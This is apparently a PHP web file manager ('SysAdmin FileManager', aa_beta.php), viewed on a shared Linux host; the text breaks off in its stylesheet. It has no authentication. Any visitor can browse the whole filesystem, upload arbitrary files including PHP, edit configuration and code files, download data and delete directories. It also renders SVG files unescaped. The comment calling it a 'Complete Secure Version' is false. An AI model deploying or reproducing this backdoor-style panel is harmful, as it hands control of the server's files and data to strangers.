📁 SysAdmin FileManager

Linux 4.18.0-553.121.1.lve.el8.x86_64 | PHP 7.2.34

đŸ‘ī¸ View: aa_beta.php

<?php
/**
 * SysAdmin File Manager - Complete Secure Version
 * Features: Upload, Download, Edit, View, Create, Rename, Delete
 * No eval(), no shell_exec(), clean code
 */

// --- Configuration ---
 $config = array(
    'app_name'        => 'SysAdmin FileManager',
    'session_duration' => 3600 * 24 * 7,
    'debug_mode'      => false,
    'start_dir'       => __DIR__,
    'allowed_extensions' => array(), // Empty = allow all
    'max_upload_size' => 1024 * 1024 * 1024, // 1GB
    'editable_extensions' => array(
        'txt', 'log', 'md', 'csv', 'json', 'xml', 'yaml', 'yml',
        'php', 'phtml', 'php3', 'php4', 'php5', 'php7', 'php8',
        'html', 'htm', 'xhtml', 'css', 'scss', 'sass', 'less',
        'js', 'jsx', 'ts', 'tsx', 'vue', 'angular',
        'py', 'rb', 'pl', 'sh', 'bash', 'zsh',
        'c', 'cpp', 'h', 'hpp', 'java', 'cs', 'go', 'rs', 'swift',
        'sql', 'env', 'htaccess', 'conf', 'cfg', 'ini', 'properties',
        'gitignore', 'dockerfile', 'makefile', 'editorconfig',
        'tpl', 'smarty', 'twig', 'blade', 'latte',
        'vue', 'svelte', 'astro'
    ),
    'viewable_mime_types' => array(
        'text/', 'application/json', 'application/xml', 'application/javascript',
        'application/x-javascript', 'application/xhtml+xml', 'image/', 'application/pdf'
    ),
    'image_extensions' => array('jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg', 'ico', 'tiff', 'tif')
);

// --- Initialization ---
@set_time_limit(0);
@ini_set('upload_max_filesize', '1024M');
@ini_set('post_max_size', '1024M');
@ini_set('memory_limit', '512M');
define('DS', DIRECTORY_SEPARATOR);

// Session Setup
if (session_status() === PHP_SESSION_NONE) {
    session_set_cookie_params([
        'lifetime' => $config['session_duration'],
        'path' => '/',
        'secure' => !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off',
        'httponly' => true,
        'samesite' => 'Lax'
    ]);
    session_start();
}

// Security Token
if (empty($_SESSION['security_token'])) {
    $_SESSION['security_token'] = bin2hex(random_bytes(32));
}
 $security_token = $_SESSION['security_token'];

// --- Helper Functions ---
function clean_input($data) {
    if (is_array($data)) return array_map('clean_input', $data);
    $data = trim($data);
    if (function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()) {
        $data = stripslashes($data);
    }
    return $data;
}

function sanitize_output($data) {
    return htmlspecialchars($data, ENT_QUOTES, 'UTF-8');
}

 $_GET = clean_input($_GET);
 $_POST = clean_input($_POST);

// Error Reporting
if ($config['debug_mode']) {
    error_reporting(E_ALL);
    ini_set('display_errors', '1');
} else {
    error_reporting(0);
    ini_set('display_errors', '0');
}

function verify_token($token) {
    return isset($_SESSION['security_token']) && hash_equals($_SESSION['security_token'], $token);
}

function format_size($bytes) {
    if ($bytes === false) return 'N/A';
    if ($bytes <= 0) return '0 B';
    $units = array('B', 'KB', 'MB', 'GB', 'TB');
    $base = log($bytes, 1024);
    return round(pow(1024, $base - floor($base)), 2) . ' ' . $units[floor($base)];
}

function get_perms($file) {
    if (!file_exists($file)) return '---------';
    $perms = @fileperms($file);
    if ($perms === false) return '---------';
    
    $type = '-';
    if (($perms & 0xC000) == 0xC000) $type = 's';
    elseif (($perms & 0xA000) == 0xA000) $type = 'l';
    elseif (($perms & 0x6000) == 0x6000) $type = 'b';
    elseif (($perms & 0x4000) == 0x4000) $type = 'd';
    
    $info = $type;
    $info .= (($perms & 00400) ? 'r' : '-');
    $info .= (($perms & 00200) ? 'w' : '-');
    $info .= (($perms & 00100) ? 'x' : '-');
    $info .= (($perms & 00040) ? 'r' : '-');
    $info .= (($perms & 00020) ? 'w' : '-');
    $info .= (($perms & 00010) ? 'x' : '-');
    $info .= (($perms & 00004) ? 'r' : '-');
    $info .= (($perms & 00002) ? 'w' : '-');
    $info .= (($perms & 00001) ? 'x' : '-');
    return $info;
}

function get_owner_name($file) {
    if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
        $owner = @posix_getpwuid(@fileowner($file));
        $group = @posix_getgrgid(@filegroup($file));
        return trim(($owner['name'] ?? 'N/A') . ':' . ($group['name'] ?? 'N/A'), ':');
    }
    return 'N/A';
}

function get_file_extension($filename) {
    return strtolower(pathinfo($filename, PATHINFO_EXTENSION));
}

function is_editable($filename) {
    global $config;
    $ext = get_file_extension($filename);
    $name_lower = strtolower(basename($filename));
    
    // Check extension
    if (in_array($ext, $config['editable_extensions'])) return true;
    
    // Check special filenames without extension
    $special_files = array('.htaccess', '.env', '.gitignore', 'dockerfile', 'makefile', '.editorconfig', '.bashrc', '.bash_profile', '.zshrc', '.profile');
    if (in_array($name_lower, $special_files)) return true;
    
    return false;
}

function is_image_file($filename) {
    global $config;
    return in_array(get_file_extension($filename), $config['image_extensions']);
}

function get_mime_type($filepath) {
    if (function_exists('mime_content_type')) {
        $mime = @mime_content_type($filepath);
        if ($mime) return $mime;
    }
    if (function_exists('finfo_open')) {
        $finfo = @finfo_open(FILEINFO_MIME_TYPE);
        if ($finfo) {
            $mime = @finfo_file($finfo, $filepath);
            @finfo_close($finfo);
            if ($mime) return $mime;
        }
    }
    return 'application/octet-stream';
}

function is_binary_content($content) {
    if (empty($content)) return false;
    // Check for null bytes and other binary indicators
    return preg_match('/[\x00-\x08\x0B\x0C\x0E-\x1F]/', $content) > 0;
}

function delete_directory($dir) {
    if (!file_exists($dir)) return true;
    if (!is_dir($dir)) return @unlink($dir);
    
    $items = @scandir($dir);
    if ($items === false) return false;
    
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') continue;
        $path = $dir . DS . $item;
        if (is_dir($path)) {
            if (!delete_directory($path)) return false;
        } else {
            if (!@unlink($path)) return false;
        }
    }
    return @rmdir($dir);
}

function safe_download_file($filepath, $filename) {
    if (!file_exists($filepath) || !is_readable($filepath)) {
        return false;
    }
    
    $mime = get_mime_type($filepath);
    $size = @filesize($filepath);
    
    // Clear output buffer
    while (ob_get_level()) {
        ob_end_clean();
    }
    
    // Set headers
    header('Content-Type: ' . $mime);
    header('Content-Disposition: attachment; filename="' . addslashes($filename) . '"');
    header('Content-Transfer-Encoding: binary');
    header('Content-Length: ' . $size);
    header('Cache-Control: no-cache, must-revalidate');
    header('Pragma: no-cache');
    header('Expires: 0');
    
    // Read file in chunks for large files
    $handle = @fopen($filepath, 'rb');
    if ($handle === false) return false;
    
    while (!feof($handle)) {
        echo fread($handle, 8192);
        flush();
    }
    @fclose($handle);
    return true;
}

function create_directory_path($path) {
    if (is_dir($path)) return true;
    $parent = dirname($path);
    if (!create_directory_path($parent)) return false;
    return @mkdir($path, 0755);
}

// --- Core Logic ---
 $self = basename($_SERVER['PHP_SELF']);
 $message = '';
 $message_type = 'info';
 $view_content = '';
 $edit_content = '';
 $edit_filename = '';

// Determine current directory
 $current_dir = realpath($config['start_dir']);
if ($current_dir === false) {
    $current_dir = dirname(__FILE__);
    $current_dir = realpath($current_dir);
}
if ($current_dir === false) {
    $current_dir = DS;
}

// Handle directory change from GET
if (isset($_GET['cd']) && !empty($_GET['cd'])) {
    $req_dir = $_GET['cd'];
    $real_req = @realpath($req_dir);
    if ($real_req !== false && is_dir($real_req)) {
        $current_dir = $real_req;
    }
} elseif (isset($_SESSION['current_dir']) && is_dir($_SESSION['current_dir'])) {
    $current_dir = realpath($_SESSION['current_dir']);
    if ($current_dir === false) $current_dir = DS;
}

 $_SESSION['current_dir'] = $current_dir;
 $parent_dir = dirname($current_dir);
 $has_parent = ($parent_dir !== $current_dir && $parent_dir !== false);

// --- Handle POST Actions ---
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $token_valid = isset($_POST['security_token']) && verify_token($_POST['security_token']);
    
    if (!$token_valid) {
        $message = "Invalid Security Token. Please refresh the page.";
        $message_type = 'error';
    } else {
        // UPLOAD
        if (isset($_FILES['upload_file']) && !empty($_FILES['upload_file']['name'])) {
            $upload_error = $_FILES['upload_file']['error'];
            $original_name = basename($_FILES['upload_file']['name']);
            $file_info = pathinfo($original_name);
            $ext = strtolower($file_info['extension'] ?? '');
            $dest = $current_dir . DS . $original_name;
            
            // Check upload errors
            switch ($upload_error) {
                case UPLOAD_ERR_INI_SIZE:
                    $message = "File exceeds upload_max_filesize directive.";
                    $message_type = 'error';
                    break;
                case UPLOAD_ERR_FORM_SIZE:
                    $message = "File exceeds MAX_FILE_SIZE directive.";
                    $message_type = 'error';
                    break;
                case UPLOAD_ERR_PARTIAL:
                    $message = "File was only partially uploaded.";
                    $message_type = 'error';
                    break;
                case UPLOAD_ERR_NO_FILE:
                    $message = "No file was uploaded.";
                    $message_type = 'error';
                    break;
                case UPLOAD_ERR_NO_TMP_DIR:
                    $message = "Missing temporary folder.";
                    $message_type = 'error';
                    break;
                case UPLOAD_ERR_CANT_WRITE:
                    $message = "Failed to write file to disk.";
                    $message_type = 'error';
                    break;
                case UPLOAD_ERR_EXTENSION:
                    $message = "Upload stopped by extension.";
                    $message_type = 'error';
                    break;
                case UPLOAD_ERR_OK:
                    // Check extension
                    $allowed = empty($config['allowed_extensions']) || in_array($ext, $config['allowed_extensions']);
                    if (!$allowed) {
                        $message = "Extension '$ext' is not allowed.";
                        $message_type = 'error';
                    } else {
                        // Check file size
                        $file_size = $_FILES['upload_file']['size'];
                        if ($file_size > $config['max_upload_size']) {
                            $message = "File size exceeds maximum limit (" . format_size($config['max_upload_size']) . ").";
                            $message_type = 'error';
                        } else {
                            $tmp_name = $_FILES['upload_file']['tmp_name'];
                            $upload_success = false;
                            $error_detail = '';
                            
                            // Method 1: Standard move_uploaded_file
                            if (@move_uploaded_file($tmp_name, $dest)) {
                                $upload_success = true;
                            } else {
                                $error_detail = error_get_last()['message'] ?? 'Unknown error';
                                
                                // Method 2: Copy then delete
                                if (@copy($tmp_name, $dest)) {
                                    @unlink($tmp_name);
                                    $upload_success = true;
                                } else {
                                    $error_detail = error_get_last()['message'] ?? $error_detail;
                                    
                                    // Method 3: Stream copy
                                    if (is_uploaded_file($tmp_name)) {
                                        $src = @fopen($tmp_name, 'rb');
                                        $dst = @fopen($dest, 'wb');
                                        if ($src && $dst) {
                                            while (!feof($src)) {
                                                $buffer = fread($src, 8192);
                                                if ($buffer === false) break;
                                                fwrite($dst, $buffer);
                                            }
                                            fclose($src);
                                            fclose($dst);
                                            @unlink($tmp_name);
                                            $upload_success = true;
                                        } else {
                                            if ($src) @fclose($src);
                                            if ($dst) @fclose($dst);
                                        }
                                    }
                                }
                            }
                            
                            if ($upload_success) {
                                @chmod($dest, 0644);
                                $message = "File '$original_name' uploaded successfully.";
                                $message_type = 'success';
                            } else {
                                $message = "Upload failed. Details: " . $error_detail;
                                $message_type = 'error';
                            }
                        }
                    }
                    break;
            }
        }
        
        // CREATE DIRECTORY
        if (isset($_POST['mkdir']) && !empty($_POST['mkdir'])) {
            $dir_name = basename(trim($_POST['mkdir']));
            if (empty($dir_name)) {
                $message = "Folder name cannot be empty.";
                $message_type = 'error';
            } else {
                $new_path = $current_dir . DS . $dir_name;
                if (file_exists($new_path)) {
                    $message = "Folder '$dir_name' already exists.";
                    $message_type = 'error';
                } else {
                    if (@mkdir($new_path, 0755, true)) {
                        @chmod($new_path, 0755);
                        $message = "Folder '$dir_name' created successfully.";
                        $message_type = 'success';
                    } else {
                        $err = error_get_last();
                        $message = "Failed to create folder. " . ($err['message'] ?? 'Permission denied.');
                        $message_type = 'error';
                    }
                }
            }
        }
        
        // CREATE FILE
        if (isset($_POST['create_file']) && !empty($_POST['create_file'])) {
            $file_name = basename(trim($_POST['create_file']));
            if (empty($file_name)) {
                $message = "File name cannot be empty.";
                $message_type = 'error';
            } else {
                $new_path = $current_dir . DS . $file_name;
                if (file_exists($new_path)) {
                    $message = "File '$file_name' already exists.";
                    $message_type = 'error';
                } else {
                    $handle = @fopen($new_path, 'w');
                    if ($handle) {
                        fclose($handle);
                        @chmod($new_path, 0644);
                        $message = "File '$file_name' created successfully.";
                        $message_type = 'success';
                    } else {
                        $err = error_get_last();
                        $message = "Failed to create file. " . ($err['message'] ?? 'Permission denied.');
                        $message_type = 'error';
                    }
                }
            }
        }
        
        // RENAME
        if (isset($_POST['rename_from']) && isset($_POST['rename_to'])) {
            $old_name = basename(trim($_POST['rename_from']));
            $new_name = basename(trim($_POST['rename_to']));
            
            if (empty($old_name) || empty($new_name)) {
                $message = "Names cannot be empty.";
                $message_type = 'error';
            } else {
                $old_path = $current_dir . DS . $old_name;
                $new_path = $current_dir . DS . $new_name;
                
                if (!file_exists($old_path)) {
                    $message = "Source '$old_name' not found.";
                    $message_type = 'error';
                } elseif ($old_path === $new_path) {
                    $message = "Source and destination are the same.";
                    $message_type = 'error';
                } elseif (file_exists($new_path)) {
                    $message = "Target '$new_name' already exists.";
                    $message_type = 'error';
                } else {
                    if (@rename($old_path, $new_path)) {
                        $message = "Renamed '$old_name' to '$new_name'.";
                        $message_type = 'success';
                    } else {
                        $err = error_get_last();
                        $message = "Rename failed. " . ($err['message'] ?? 'Permission denied.');
                        $message_type = 'error';
                    }
                }
            }
        }
        
        // SAVE EDIT
        if (isset($_POST['save_edit']) && isset($_POST['edit_content']) && isset($_POST['edit_filename'])) {
            $filename = basename(trim($_POST['edit_filename']));
            $content = $_POST['edit_content'];
            $filepath = $current_dir . DS . $filename;
            
            if (!file_exists($filepath)) {
                $message = "File '$filename' not found.";
                $message_type = 'error';
            } else {
                // Decode HTML entities back to actual content
                $content = html_entity_decode($content, ENT_QUOTES, 'UTF-8');
                
                $result = @file_put_contents($filepath, $content);
                if ($result !== false) {
                    $message = "File '$filename' saved successfully.";
                    $message_type = 'success';
                } else {
                    $err = error_get_last();
                    $message = "Failed to save file. " . ($err['message'] ?? 'Permission denied or disk full.');
                    $message_type = 'error';
                }
            }
        }
    }
}

// --- Handle GET Actions ---
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
    // DELETE
    if (isset($_GET['delete']) && isset($_GET['token'])) {
        if (verify_token($_GET['token'])) {
            $target_name = basename($_GET['delete']);
            $target_path = $current_dir . DS . $target_name;
            
            if (!file_exists($target_path)) {
                $message = "Item '$target_name' not found.";
                $message_type = 'error';
            } else {
                if (is_dir($target_path)) {
                    if (delete_directory($target_path)) {
                        $message = "Directory '$target_name' deleted.";
                        $message_type = 'success';
                    } else {
                        $err = error_get_last();
                        $message = "Failed to delete directory. " . ($err['message'] ?? 'Check permissions.');
                        $message_type = 'error';
                    }
                } else {
                    if (@unlink($target_path)) {
                        $message = "File '$target_name' deleted.";
                        $message_type = 'success';
                    } else {
                        $err = error_get_last();
                        $message = "Failed to delete file. " . ($err['message'] ?? 'Permission denied.');
                        $message_type = 'error';
                    }
                }
            }
        } else {
            $message = "Invalid security token.";
            $message_type = 'error';
        }
    }
    
    // DOWNLOAD
    if (isset($_GET['download']) && isset($_GET['token'])) {
        if (verify_token($_GET['token'])) {
            $filename = basename($_GET['download']);
            $filepath = $current_dir . DS . $filename;
            
            if (file_exists($filepath) && is_file($filepath) && is_readable($filepath)) {
                safe_download_file($filepath, $filename);
                exit;
            } else {
                $message = "File '$filename' not found or not readable.";
                $message_type = 'error';
            }
        } else {
            $message = "Invalid security token.";
            $message_type = 'error';
        }
    }
    
    // VIEW FILE
    if (isset($_GET['view'])) {
        $filename = basename($_GET['view']);
        $filepath = $current_dir . DS . $filename;
        
        if (!file_exists($filepath)) {
            $view_content = "<div class='error-box'>File not found.</div>";
        } elseif (!is_readable($filepath)) {
            $view_content = "<div class='error-box'>Cannot read file (Permission denied).</div>";
        } else {
            $mime = get_mime_type($filepath);
            $ext = get_file_extension($filename);
            
            // Image files
            if (is_image_file($filename)) {
                if ($ext === 'svg') {
                    $svg_content = @file_get_contents($filepath);
                    $view_content = "<div style='text-align:center; padding:20px;'>" . $svg_content . "</div>";
                } else {
                    $view_content = "<div style='text-align:center; padding:20px;'><img src='data:" . $mime . ";base64," . base64_encode(@file_get_contents($filepath)) . "' style='max-width:100%; max-height:80vh; border:1px solid #e2e8f0; border-radius:4px;'></div>";
                }
            }
            // PDF files
            elseif ($mime === 'application/pdf') {
                $view_content = "<div style='text-align:center; padding:20px;'><embed src='data:application/pdf;base64," . base64_encode(@file_get_contents($filepath)) . "' type='application/pdf' width='100%' height='600px'><p><a href='?download=" . urlencode($filename) . "&token=" . $security_token . "' class='btn btn-primary'>Download PDF</a></p></div>";
            }
            // Video files
            elseif (strpos($mime, 'video/') === 0) {
                $view_content = "<div style='text-align:center; padding:20px;'><video controls style='max-width:100%;'><source src='data:" . $mime . ";base64," . base64_encode(@file_get_contents($filepath)) . "' type='" . $mime . "'></video></div>";
            }
            // Audio files
            elseif (strpos($mime, 'audio/') === 0) {
                $view_content = "<div style='text-align:center; padding:20px;'><audio controls style='width:100%;'><source src='data:" . $mime . ";base64," . base64_encode(@file_get_contents($filepath)) . "' type='" . $mime . "'></audio></div>";
            }
            // Text-based files
            else {
                $content = @file_get_contents($filepath);
                if ($content === false) {
                    $view_content = "<div class='error-box'>Cannot read file content.</div>";
                } elseif (is_binary_content($content)) {
                    $view_content = "<div class='error-box'>Binary file - cannot display as text. <a href='?download=" . urlencode($filename) . "&token=" . $security_token . "' class='btn btn-primary' style='margin-top:10px;'>Download File</a></div>";
                } else {
                    // Syntax highlighting for code files
                    $code_extensions = array('php', 'html', 'htm', 'css', 'js', 'json', 'xml', 'sql', 'py', 'rb', 'sh', 'bash', 'yaml', 'yml', 'md', 'c', 'cpp', 'java', 'go', 'rs', 'ts', 'vue', 'jsx', 'tsx');
                    
                    if (in_array($ext, $code_extensions)) {
                        $view_content = "<pre class='code-view'><code class='language-" . sanitize_output($ext) . "'>" . sanitize_output($content) . "</code></pre>";
                    } else {
                        $view_content = "<pre class='text-view'>" . sanitize_output($content) . "</pre>";
                    }
                    
                    $file_size = @filesize($filepath);
                    $view_content .= "<div class='file-info-bar'>";
                    $view_content .= "<span>Size: " . format_size($file_size) . "</span>";
                    $view_content .= "<span>MIME: " . $mime . "</span>";
                    $view_content .= "<span>Lines: " . substr_count($content, "\n") . "</span>";
                    $view_content .= "</div>";
                }
            }
        }
    }
    
    // EDIT FILE
    if (isset($_GET['edit'])) {
        $filename = basename($_GET['edit']);
        $filepath = $current_dir . DS . $filename;
        
        if (!file_exists($filepath)) {
            $message = "File '$filename' not found.";
            $message_type = 'error';
        } elseif (!is_readable($filepath)) {
            $message = "Cannot read file '$filename' (Permission denied).";
            $message_type = 'error';
        } elseif (!is_writable($filepath)) {
            $message = "File '$filename' is not writable.";
            $message_type = 'error';
        } else {
            $content = @file_get_contents($filepath);
            if ($content === false) {
                $message = "Cannot read file content.";
                $message_type = 'error';
            } elseif (is_binary_content($content)) {
                $message = "Binary files cannot be edited as text.";
                $message_type = 'error';
            } else {
                $edit_content = $content;
                $edit_filename = $filename;
            }
        }
    }
}

// --- Breadcrumb Function ---
function create_breadcrumbs($path) {
    global $self, $security_token;
    $parts = explode(DS, $path);
    $build = '';
    $html = '<nav class="breadcrumbs">';
    
    $html .= '<a href="?cd=' . urlencode(DS) . '&token=' . $security_token . '" class="crumb-root">/ Root</a>';
    
    if (!empty($parts[0])) {
        // Windows path like C:\
        $build = $parts[0];
        $html .= ' <span class="crumb-sep">/</span> ';
        $html .= '<a href="?cd=' . urlencode($build) . '&token=' . $security_token . '" class="crumb-link">' . sanitize_output($parts[0]) . '</a>';
        array_shift($parts);
    } else {
        array_shift($parts); // Remove empty first element from Unix paths
    }
    
    foreach ($parts as $i => $part) {
        if (empty($part)) continue;
        $build .= DS . $part;
        $html .= ' <span class="crumb-sep">/</span> ';
        if ($i === count($parts) - 1) {
            $html .= '<span class="crumb-current">' . sanitize_output($part) . '</span>';
        } else {
            $html .= '<a href="?cd=' . urlencode($build) . '&token=' . $security_token . '" class="crumb-link">' . sanitize_output($part) . '</a>';
        }
    }
    $html .= '</nav>';
    return $html;
}

// --- Get file icon based on extension ---
function get_file_icon($filename) {
    $ext = get_file_extension($filename);
    $icons = array(
        'php' => '🐘', 'phtml' => '🐘',
        'html' => '🌐', 'htm' => '🌐', 'xhtml' => '🌐',
        'css' => '🎨', 'scss' => '🎨', 'sass' => '🎨', 'less' => '🎨',
        'js' => '📜', 'jsx' => 'âš›ī¸', 'ts' => '📘', 'tsx' => 'âš›ī¸',
        'json' => '📋', 'xml' => '📋', 'yaml' => '📋', 'yml' => '📋',
        'py' => '🐍', 'rb' => '💎', 'java' => '☕', 'go' => 'đŸ”ĩ',
        'rs' => 'đŸĻ€', 'c' => 'âš™ī¸', 'cpp' => 'âš™ī¸', 'h' => 'âš™ī¸',
        'sql' => 'đŸ—ƒī¸', 'db' => 'đŸ—ƒī¸', 'sqlite' => 'đŸ—ƒī¸',
        'md' => '📝', 'txt' => '📄', 'log' => '📋',
        'jpg' => 'đŸ–ŧī¸', 'jpeg' => 'đŸ–ŧī¸', 'png' => 'đŸ–ŧī¸', 'gif' => 'đŸ–ŧī¸', 
        'webp' => 'đŸ–ŧī¸', 'svg' => 'đŸ–ŧī¸', 'bmp' => 'đŸ–ŧī¸', 'ico' => 'đŸ–ŧī¸',
        'mp4' => 'đŸŽŦ', 'avi' => 'đŸŽŦ', 'mkv' => 'đŸŽŦ', 'mov' => 'đŸŽŦ', 'webm' => 'đŸŽŦ',
        'mp3' => 'đŸŽĩ', 'wav' => 'đŸŽĩ', 'ogg' => 'đŸŽĩ', 'flac' => 'đŸŽĩ',
        'pdf' => '📕', 'doc' => '📘', 'docx' => '📘',
        'xls' => '📗', 'xlsx' => '📗', 'csv' => '📗',
        'ppt' => '📙', 'pptx' => '📙',
        'zip' => 'đŸ“Ļ', 'rar' => 'đŸ“Ļ', 'tar' => 'đŸ“Ļ', 'gz' => 'đŸ“Ļ', '7z' => 'đŸ“Ļ',
        'env' => '🔐', 'htaccess' => '🔐', 'conf' => 'âš™ī¸', 'ini' => 'âš™ī¸', 'cfg' => 'âš™ī¸',
        'sh' => 'đŸ’ģ', 'bash' => 'đŸ’ģ', 'zsh' => 'đŸ’ģ',
        'dockerfile' => 'đŸŗ', 'gitignore' => 'đŸ“Ļ',
    );
    
    return $icons[$ext] ?? $icons[strtolower(basename($filename))] ?? '📄';
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title><?php echo sanitize_output($config['app_name']); ?></title>
    <style>
        :root {
            --primary: #2563eb;
            --primary-hover: #1d4ed8;
            --primary-light: #dbeafe;
            --bg-body: #f1f5f9;
            --bg-card: #ffffff;
            --text-main: #1e293b;
            --text-muted: #64748b;
            --border: #e2e8f0;
            --danger: #ef4444;
            --danger-hover: #dc2626;
            --success: #10b981;
            --warning: #f59e0b;
            --info: #0ea5e9;
        }

        * { box-sizing: border-box; }

        body {
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif;
            background: var(--bg-body);
            color: var(--text-main);
            margin: 0;
            padding: 15px;
            line-height: 1.5;
        }

        .container {
            max-width: 1200px;
            margin: 0 auto;
            background: var(--bg-card);
            border-radius: 12px;
            box-shadow: 0 4px 6px -1px rgba(0,0,0,0.1), 0 2px 4px -1px rgba(0,0,0,0.06);
            overflow: hidden;
        }

        .header {
            background: linear-gradient(135deg, var(--primary) 0%, #1e40af 100%);
            color: white;
            padding: 18px 25px;
            display: flex;
            justify-content: space-between;
            align-items: center;
        }

        .header h1 { margin: 0; font-size: 1.3rem; font-weight: 600; }
        .header .meta { font-size: 0.8rem; opacity: 0.85; text-align: right; }

        .top-bar {
            padding: 12px 20px;
            border-bottom: 1px solid var(--border);
            background: #f8fafc;
            display: flex;
            align-items: center;
            justify-content: space-between;
            flex-wrap: wrap;
            gap: 10px;
        }

        .breadcrumbs {
            font-size: 0.85rem;
            color: var(--text-muted);
            overflow-x: auto;
            white-space: nowrap;
            flex: 1;
        }

        .crumb-link, .crumb-root {
            color: var(--primary);
            text-decoration: none;
            font-weight: 500;
        }
        .crumb-link:hover, .crumb-root:hover { text-decoration: underline; }
        .crumb-current { color: var(--text-main); font-weight: 700; }
        .crumb-sep { margin: 0 4px; color: #cbd5e1; }

        .actions { display: flex; gap: 8px; flex-wrap: wrap; }

        .btn {
            padding: 7px 14px;
            border-radius: 6px;
            border: none;
            font-size: 0.85rem;
            cursor: pointer;
            text-decoration: none;
            display: inline-flex;
            align-items: center;
            gap: 5px;
            transition: all 0.2s;
            white-space: nowrap;
            font-weight: 500;
        }

        .btn-primary { background: var(--primary); color: white; }
        .btn-primary:hover { background: var(--primary-hover); }

        .btn-secondary { background: white; border: 1px solid var(--border); color: var(--text-main); }
        .btn-secondary:hover { background: #f1f5f9; border-color: #cbd5e1; }

        .btn-danger { background: var(--danger); color: white; }
        .btn-danger:hover { background: var(--danger-hover); }

        .btn-success { background: var(--success); color: white; }
        .btn-success:hover { background: #059669; }

        .btn-warning { background: var(--warning); color: white; }
        .btn-warning:hover { background: #d97706; }

        .btn-sm { padding: 4px 10px; font-size: 0.8rem; }

        .content { padding: 20px; }

        .file-table {
            width: 100%;
            border-collapse: collapse;
            font-size: 0.85rem;
        }

        .file-table th {
            text-align: left;
            padding: 10px 12px;
            border-bottom: 2px solid var(--border);
            color: var(--text-muted);
            font-weight: 600;
            background: #f8fafc;
            font-size: 0.8rem;
            text-transform: uppercase;
            letter-spacing: 0.5px;
        }

        .file-table td {
            padding: 10px 12px;
            border-bottom: 1px solid var(--border);
            vertical-align: middle;
        }

        .file-table tbody tr:hover { background: #f8fafc; }

        .file-name {
            font-weight: 500;
            color: var(--text-main);
            text-decoration: none;
            display: inline-flex;
            align-items: center;
            gap: 8px;
        }

        .file-name:hover { color: var(--primary); }

        .file-icon { font-size: 1.2rem; }
        .icon-dir { color: #f59e0b; }

        .action-links { display: flex; gap: 6px; flex-wrap: wrap; }

        .action-link {
            color: var(--text-muted);
            font-size: 0.78rem;
            text-decoration: none;
            cursor: pointer;
            padding: 2px 8px;
            border-radius: 4px;
            transition: all 0.2s;
        }

        .action-link:hover { background: var(--primary-light); color: var(--primary); }
        .action-delete { color: var(--danger); }
        .action-delete:hover { background: #fee2e2; color: var(--danger-hover); }

        .form-panel {
            background: #f8fafc;
            border: 1px solid var(--border);
            padding: 20px;
            border-radius: 8px;
            margin-bottom: 20px;
        }

        .form-panel h3 { margin: 0 0 15px 0; font-size: 1.1rem; }

        .form-row {
            display: flex;
            gap: 10px;
            align-items: center;
        }

        .input-control {
            padding: 8px 12px;
            border: 1px solid var(--border);
            border-radius: 6px;
            font-size: 0.9rem;
            flex: 1;
            transition: border-color 0.2s;
        }

        .input-control:focus {
            outline: none;
            border-color: var(--primary);
            box-shadow: 0 0 0 3px rgba(37, 99, 235, 0.1);
        }

        .info-box {
            background: #e0f2fe;
            border-left: 4px solid var(--info);
            padding: 15px;
            border-radius: 4px;
            font-size: 0.9rem;
        }

        .error-box {
            background: #fee2e2;
            border-left: 4px solid var(--danger);
            padding: 15px;
            border-radius: 4px;
            color: #991b1b;
        }

        .success-box {
            background: #d1fae5;
            border-left: 4px solid var(--success);
            padding: 15px;
            border-radius: 4px;
            color: #065f46;
        }

        .toast-container {
            position: fixed;
            top: 20px;
            right: 20px;
            z-index: 9999;
            width: 350px;
        }

        .toast {
            background: white;
            padding: 14px 18px;
            border-radius: 8px;
            box-shadow: 0 10px 15px -3px rgba(0,0,0,0.1);
            margin-bottom: 10px;
            border-left: 4px solid var(--primary);
            animation: slideIn 0.3s ease;
            display: flex;
            align-items: center;
            gap: 10px;
            font-size: 0.9rem;
        }

        .toast.success { border-left-color: var(--success); }
        .toast.error { border-left-color: var(--danger); }
        .toast.warning { border-left-color: var(--warning); }

        .code-view, .text-view {
            background: #1e293b;
            color: #e2e8f0;
            padding: 20px;
            border-radius: 6px;
            overflow-x: auto;
            font-family: 'Fira Code', 'Cascadia Code', 'Consolas', monospace;
            font-size: 0.85rem;
            line-height: 1.6;
            max-height: 70vh;
            overflow-y: auto;
            white-space: pre-wrap;
            word-wrap: break-word;
        }

        .text-view {
            background: #fefce8;
            color: #1e293b;
            border: 1px solid var(--border);
        }

        .file-info-bar {
            display: flex;
            gap: 20px;
            padding: 10px 15px;
            background: #f1f5f9;
            border-radius: 4px;
            margin-top: 10px;
            font-size: 0.8rem;
            color: var(--text-muted);
        }

        .editor-container {
            position: relative;
        }

        .editor-textarea {
            width: 100%;
            min-height: 500px;
            padding: 15px;
            border: 1px solid var(--border);
            border-radius: 6px;
            font-family: 'Fira Code', 'Cascadia Code', 'Consolas', monospace;
            font-size: 0.9rem;
            line-height: 1.5;
            resize: vertical;
            tab-size: 4;
            background: #1e293b;
            color: #e2e8f0;
        }

        .editor-textarea:focus {
            outline: none;
            border-color: var(--primary);
            box-shadow: 0 0 0 3px rgba(37, 99, 235, 0.2);
        }

        .editor-actions {
            display: flex;
            gap: 10px;
            margin-top: 15px;
            padding-top: 15px;
            border-top: 1px solid var(--border);
        }

        .modal-overlay {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0,0,0,0.5);
            z-index: 1000;
            display: none;
            align-items: center;
            justify-content: center;
        }

        .modal {
            background: white;
            padding: 25px;
            border-radius: 10px;
            width: 420px;
            max-width: 90%;
            z-index: 1001;
            box-shadow: 0 20px 25px -5px rgba(0,0,0,0.1);
        }

        .modal h3 { margin: 0 0 15px 0; }

        .rename-input {
            width: 100%;
            padding: 10px 12px;
            border: 1px solid var(--border);
            border-radius: 6px;
            font-size: 1rem;
            margin: 10px 0;
        }

        .rename-input:focus {
            outline: none;
            border-color: var(--primary);
            box-shadow: 0 0 0 3px rgba(37, 99, 235, 0.1);
        }

        .modal-actions {
